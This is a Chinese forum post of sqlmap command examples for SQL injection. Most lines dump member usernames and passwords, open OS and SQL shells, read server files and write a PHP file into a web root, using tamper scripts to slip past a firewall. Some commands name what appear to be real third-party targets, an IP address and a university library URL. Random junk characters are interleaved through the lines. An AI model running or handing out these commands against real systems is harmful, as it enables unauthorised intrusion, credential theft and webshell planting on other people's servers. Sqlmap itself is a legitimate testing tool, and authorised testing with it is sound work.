找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1884|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/pentest/database/sqlmap
, z* M' V& D# n9 h1 W: \+ B
, D5 t+ S2 G* C5 w8 Wupdate :::::>     in the folder   after  execute    following   order : svn update2 o5 z3 u9 M' c. q: F5 r3 D
- m/ K7 }# d+ m
sqlmap.py -r 1.txt --current-db
' p# D, c5 A' E5 h6 E* V% \2 r, T8 L# T+ L
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
6 G" A3 ~5 q: G% r# A% }5 o% _9 P) R: t8 N6 f
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) " \- z5 a) a5 e5 T7 L
猜解数据库
2 u  V9 K4 [! n2 f- A./sqlmap.py -u "injection-url" --dbs
; E" ~6 q% _2 M/ [/ _# i% Csqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
/ [3 q- w; T! c% l" X) d! ^4 p! k8 d8 ^' o/ i5 E: v
猜解表名3 ~9 ^' b. z0 V1 r$ x
./sqlmap.py -u "injection-url" -D database_name --tables
% y2 H! Z$ @/ [7 J5 |
3 g: m2 y2 v+ Msqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
+ f) v$ I& X- v, Wsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
8 ?5 l  E" M$ ~+ ~# v+ I
4 T7 K8 @: f5 u) J" `7 e9 Wsqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump9 q8 i# g& E6 i6 N, Q
. V/ y) e' U; `8 }' J- N& U3 P
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"+ W3 N3 Y# P0 g8 t- `0 z& F
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"% s8 \( v, i& ^; N7 f! F
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
- j9 _; B3 d1 l+ zsqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
7 G" S3 M; B1 @$ s1 O3 ~+ V
+ D" S* u# u8 zsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"! r$ w7 B$ R" B* x. y8 f
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
& l6 q1 T. s; }# t+ [sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
1 @: O2 h, h. @  W9 ~sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"  e) W, @) P& B4 s- ?1 Z
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump/ G; Z' s' l- O) u
* M+ G" Q7 T+ U9 G
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了/ O6 t. ~4 n1 U7 ~
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
; G6 U- L6 x. G3 u! p( g8 M1 r0 A/ O  S8 \  c
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
3 d7 i# o) w) V# P6 ~  h0 U9 N5 p猜解列名
2 M  T- N9 N( B( u1 o. c7 Q./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
- ~' g9 S. ^7 S+ Q$ ]) \* Y! U( b6 j3 t- R9 M
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" * @  l4 @: I  d9 k* h# l/ _. K
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 1 g/ \- Y0 D$ r/ J& B4 P3 v7 y
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"8 @" T3 h2 O% C% l$ H( m- B

% D/ z2 B7 u  usqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
* {* E7 b9 }0 X# W&submit=Go
) J" g3 Q) `; U猜解值) ^1 t$ ~/ E4 L3 i# u
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
" r7 }3 J) b4 }, M2 S========================================================9 {/ x, o% s- X7 P; d; a' g
搜索表名中包括mana字符的4 _# S8 Q" x1 }7 `! }
/sqlmap.py -u "injection-url" -T mana --search" l1 v+ p1 u3 m1 y
返回一个交互式sql shell
9 M" O0 W/ S1 K/sqlmap.py -u "injection-url" --sql-shell. [2 S/ l' p4 z, q
读取指定文件(需权限)
( B8 x: ]+ D; V/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
9 U# U9 v8 y! f6 b: }$ P9 q查看当前 用户 及 数据库
$ I5 g* O3 [2 j* R* p/sqlmap.py -u "injection-url" --current-user --current-db3 N2 ~  l+ n( I% h
本地文件 写入 远程目标绝对路径
/ i. |7 A9 x. z2 M6 \/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径9 U) }  y# [( b% x+ ~2 A# J
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
7 y7 p8 [1 o% D0 b% E
' S4 ~3 V+ x. Asqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径0 @$ Z7 j, x9 |
查看某用的权限; x; }+ M  K1 n- v0 n( F0 k! M& g
/sqlmap.py -u "injection-url" --privileges -U root
0 Q  Z: l* I% [查看当前用户是否为dba
5 Y& {2 |+ j% M, L7 @& {2 q/sqlmap.py -u "injection-url" --is-dba/ D2 Q& q# E% r3 i4 M
读取所有数据库用户或指定数据库用户的密码) Q( Y, z& M- z3 q
sqlmap.py -r 1.txt --users --passwords
7 A( G$ X% c; h, d8 ?* q3 m7 zsqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" 6 u5 d* D$ G' y7 d9 n
# v2 c( ^2 {( Y$ B' W1 \, `' a
/sqlmap.py -u "injection-url" --passwords -U root
0 j) R* i; F. p4 r' `% c6 z7 {: h; K: D5 @( v/ y, W, _
--start&&--stop 与 --first&&--last 的区别* y# O3 q( K; o; e( o4 D
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……), f* O& k8 V2 K, b8 m* _% M
/ X6 K' K  Y! a4 @+ l! Y
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)! W3 k) O$ G( X, i5 P$ f7 M# i
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables9 v( H/ [. m9 P* ^: b
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns. h6 B6 e2 s/ V( P

% ~& x! e8 S, O& M" V% G执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)6 m) w/ l$ }6 D- e) p; D0 Q
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"' Z  f# ], l; H0 |: y$ B
- q- g' {! V- D% J1 ^7 m( v7 H: x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表